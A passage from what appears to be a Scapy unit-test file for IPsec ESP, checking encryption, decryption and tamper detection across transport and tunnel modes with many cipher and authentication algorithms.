Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='CAST', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel enc 'cbc(cast5)' '0x7369787465656e6279746573206b6579' auth digest_null '' flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\xcd\x4a\x46\x05\x51\x54\x73\x35\x1d\xad\x4b\x10\xc1\x15\xe2\x70' b'\xbc\x9c\x53\x8f\x4d\x1c\x87\x1a\xc1\xb0\xdf\x80\xd1\x0c\xa4\x59' b'\xe6\x50\xde\x46\xdb\x3f\x28\xc2\xda\x6c\x2b\x81\x5e\x7c\x7b\x4f' b'\xbc\x8d\xc1\x6d\x4a\x2b\x04\x91\x9e\xc4\x0b\xba\x05\xba\x3b\x71' b'\xac\xe3\x16\xcf\x7f\x00\xc5\x87\x7d\x72\x48\xe6\x5b\x43\x19\x24' b'\xae\xa6\x2c\xcc\xad\xbf\x37\x6c\x6e\xea\x71\x67\x73\xd6\x11\x9f', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert d_ref.haslayer(ICMP) ############################################################################### + IPv4 / ESP - Tunnel - Encryption Algorithms ####################################### = IPv4 / ESP - Tunnel - NULL - NULL ~ -crypto p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Tunnel - DES - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='DES', crypt_key=b'8bytekey', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum * the encrypted packet should have an ESP layer assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Tunnel - 3DES - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='3DES', crypt_key=b'threedifferent8byteskeys', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum * the encrypted packet should have an ESP layer assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Tunnel - AES-CBC - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Tunnel - AES-CTR - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CTR', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Tunnel - Blowfish - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='Blowfish', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Tunnel - CAST - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='CAST', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] ############################################################################### + IPv4 / ESP - Transport - Authentication Algorithms ####################################### = IPv4 / ESP - Transport - NULL - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Transport - NULL - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert d == p ####################################### = IPv4 / ESP - Transport - NULL - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - SHA2-384-192 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert d == p ####################################### = IPv4 / ESP - Transport - NULL - SHA2-384-192 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - SHA2-512-256 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-512-256', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert d == p ####################################### = IPv4 / ESP - Transport - NULL - SHA2-512-256 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-512-256', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - HMAC-MD5-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert d == p ####################################### = IPv4 / ESP - Transport - NULL - HMAC-MD5-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - NULL - AES-CMAC-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert d == p ####################################### = IPv4 / ESP - Transport - NULL - AES-CMAC-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ############################################################################### + IPv4 / ESP - Tunnel - Authentication Algorithms ####################################### = IPv4 / ESP - Tunnel - NULL - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Tunnel - NULL - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert d == p ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-384-192 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert d == p ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-384-192 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-512-256 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-512-256', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert d == p ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-512-256 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-512-256', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - HMAC-MD5-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert d == p ####################################### = IPv4 / ESP - Tunnel - NULL - HMAC-MD5-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - NULL - AES-CMAC-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert d == p ####################################### = IPv4 / ESP - Tunnel - NULL - AES-CMAC-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should be readable assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ############################################################################### + IPv4 / ESP - Encryption + Authentication ####################################### = IPv4 / ESP - Transport - AES-CBC - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / ESP - Transport - AES-CBC - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original 